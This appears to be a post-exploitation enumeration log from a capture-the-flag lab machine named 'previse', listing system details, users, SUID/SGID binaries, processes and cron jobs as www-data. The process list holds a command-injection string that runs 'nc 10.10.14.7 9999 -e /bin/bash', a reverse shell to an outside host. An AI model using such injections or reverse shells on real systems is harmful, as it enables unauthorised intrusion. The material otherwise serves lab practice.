System/Kernel


www-data@previse:/var/www/html$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
linux previse 4.15.0-151-generic #157-ubuntu smp fri jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.5 LTS"
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

Ubuntu 18.04.5 LTS (Bionic Beaver) 4.15.0-151-generic x86_64

Networks


www-data@previse:/var/www/html$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0     17 10.10.11.104:53948      10.10.14.7:9999         ESTABLISHED 3108/bash           
tcp        0      1 10.10.11.104:46986      1.1.1.1:53              SYN_SENT    -                   
udp        0      0 127.0.0.1:51913         127.0.0.53:53           ESTABLISHED -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   

127.0.0.1:3306 127.0.0.53:53

Users & Groups


www-data@previse:/var/www/html$ cat /etc/passwd ; ls -lasht /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
total 12K
4.0K drwxr-xr-x  5 m4lwhere m4lwhere 4.0K Jul 28  2021 m4lwhere
4.0K drwxr-xr-x 24 root     root     4.0K Jul 27  2021 ..
4.0K drwxr-xr-x  3 root     root     4.0K May 25  2021 .

m4lwhere

www-data@previse:/var/www/html$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)
uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere)
uid=111(mysql) gid=114(mysql) groups=114(mysql)

SUIDs


www-data@previse:/var/www/html$ find / -perm -04000 -ls -type f 2>/dev/null
   133157     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newgidmap
   132953     76 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /usr/bin/chfn
   133195     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec
   133159     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newuidmap
   133048     76 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /usr/bin/gpasswd
   133336     20 -rwsr-xr-x   1 root     root        18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   132590    148 -rwsr-xr-x   1 root     root       149080 Jan 19  2021 /usr/bin/sudo
   133158     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /usr/bin/newgrp
   132955     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /usr/bin/chsh
   133175     60 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /usr/bin/passwd
   132902     52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 20  2018 /usr/bin/at
   133528     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   133714     16 -rwsr-xr-x   1 root     root        14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   133521     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   133710    428 -rwsr-xr-x   1 root     root         436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
   171140    116 -rwsr-xr-x   1 root     root         117880 Mar 26  2021 /usr/lib/snapd/snap-confine
    10038    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
     6532     44 -rwsr-xr-x   1 root     root          44664 Mar 22  2019 /bin/su
     2016     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
    11484     28 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /bin/umount
    11483     44 -rwsr-xr-x   1 root     root          43088 Sep 16  2020 /bin/mount
     6404     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping

SGIDs


www-data@previse:/var/www/html$ find / -perm -02000 -ls -type f 2>/dev/null
find / -perm -02000 -ls -type f 2>/dev/null
   132976     40 -rwxr-sr-x   1 root     crontab     39352 Nov 16  2017 /usr/bin/crontab
   133291    356 -rwxr-sr-x   1 root     ssh        362640 Mar  4  2019 /usr/bin/ssh-agent
   153483     32 -rwxr-sr-x   1 root     tty         30800 Sep 16  2020 /usr/bin/wall
   132948     72 -rwxr-sr-x   1 root     shadow      71816 Mar 22  2019 /usr/bin/chage
   132913     16 -rwxr-sr-x   1 root     tty         14328 Jan 17  2018 /usr/bin/bsd-write
   133149     44 -rwxr-sr-x   1 root     mlocate     43088 Mar  1  2018 /usr/bin/mlocate
   132902     52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 20  2018 /usr/bin/at
   133027     24 -rwxr-sr-x   1 root     shadow      22808 Mar 22  2019 /usr/bin/expiry
 
[...REDACTED...]
 
    11141     12 -rwxr-sr-x   1 root     utmp        10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
     8034     36 -rwxr-sr-x   1 root     shadow      34816 Apr  8  2021 /sbin/pam_extrausers_chkpwd
     8040     36 -rwxr-sr-x   1 root     shadow      34816 Apr  8  2021 /sbin/unix_chkpwd
    17512      4 drwxr-sr-x   3 root     systemd-journal     4096 Jul 26  2021 /var/log/journal
    47597      4 drwxr-sr-x   2 root     systemd-journal     4096 apr 12 09:59 /var/log/journal/6be2a4e8f4a64084a3431f9e662d9ae9
    17344      4 drwxrwsr-x   2 root     mail                4096 Jul 26  2021 /var/mail
    17342      4 drwxrwsr-x   2 root     staff               4096 Jul 26  2021 /var/local

Processes


ww-data@previse:/var/www/html$ ps -auxwww
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.4 159680  8856 ?        Ss   09:59   0:02 /sbin/init maybe-ubiquity
root        540  0.0  1.0 102860 21584 ?        S<s  09:59   0:00 /lib/systemd/systemd-journald
root        551  0.0  0.0 105912  1900 ?        Ss   09:59   0:00 /sbin/lvmetad -f
root        564  0.0  0.2  46824  5700 ?        Ss   09:59   0:00 /lib/systemd/systemd-udevd
root        830  0.0  0.4  89872  9892 ?        Ss   09:59   0:00 /usr/bin/VGAuthService
root        834  0.1  0.3 225732  7192 ?        S<sl 09:59   0:09 /usr/bin/vmtools
root       1132  0.0  0.3 286392  6968 ?        Ssl  09:59   0:00 /usr/lib/accountsservice/accounts-daemon
root       1140  0.0  0.8 169104 17200 ?        Ssl  09:59   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
daemon     1145  0.0  0.1  28340  2472 ?        Ss   09:59   0:00 /usr/sbin/atd -f
root       1149  0.0  0.1  30036  3088 ?        Ss   09:59   0:00 /usr/sbin/cron -f
syslog     1155  0.0  0.2 263044  4748 ?        Ssl  09:59   0:00 /usr/sbin/rsyslogd -n
root       1157  0.0  0.2  61884  5308 ?        Ss   09:59   0:00 /lib/systemd/systemd-logind
root       1164  0.0  0.1 110556  2112 ?        Ssl  09:59   0:00 /usr/sbin/irqbalance --foreground
root       1167  0.0  0.1 309420  2204 ?        Ssl  09:59   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root       1259  0.0  0.3 288888  6604 ?        Ssl  09:59   0:00 /usr/lib/policykit-1/polkitd --no-debug
root       1313  0.0  0.0  14896  1924 tty1     Ss+  09:59   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root       1355  0.0  0.3  72308  6336 ?        Ss   09:59   0:00 /usr/sbin/sshd -D
mysql      1406  0.7  9.4 1623856 190984 ?      Sl   09:59   1:01 /usr/sbin/mysqld --daemonize --pid-file=/run/mysqld/mysqld.pid
root       1415  0.0  0.8 333728 16876 ?        Ss   09:59   0:01 /usr/sbin/apache2 -k start
www-data   2660  0.0  0.6 338556 14024 ?        S    10:59   0:01 /usr/sbin/apache2 -k start
www-data   3105  0.0  0.0   4636   828 ?        S    12:17   0:00 sh -c /usr/bin/python /opt/scripts/log_process.py blahblah ; nc 10.10.14.7 9999 -e /bin/bash
www-data   3192  0.0  0.1  36708  3224 pts/0    R+   12:23   0:00 ps -auxwww

/usr/sbin/cron -f /usr/bin/lxcfs /var/lib/lxcfs/ /usr/lib/policykit-1/polkitd --no-debug

Cron & Systemd


www-data@previse:/var/www/html$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                         LEFT          LAST                         PASSED  
wed 2023-04-12 12:39:00 UTC  13min left    Wed 2023-04-12 12:09:01 UTC  16min ag
wed 2023-04-12 14:08:35 UTC  1h 43min left Wed 2023-04-12 09:59:40 UTC  2h 25min
wed 2023-04-12 15:12:08 UTC  2h 46min left Wed 2023-04-12 10:38:22 UTC  1h 46min
wed 2023-04-12 23:27:40 UTC  11h left      Wed 2023-04-12 09:59:40 UTC  2h 25min
thu 2023-04-13 06:02:39 UTC  17h left      Wed 2023-04-12 09:59:40 UTC  2h 25min
thu 2023-04-13 10:14:31 UTC  21h left      Wed 2023-04-12 10:14:31 UTC  2h 10min
mon 2023-04-17 00:00:00 UTC  4 days left   Wed 2023-04-12 09:59:40 UTC  2h 25min
 
7 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-11/11 (END)

Sudo Version


www-data@previse:/var/www/html$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Sudo version 1.8.21p2

Glibc Version


www-data@previse:/var/www/html$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27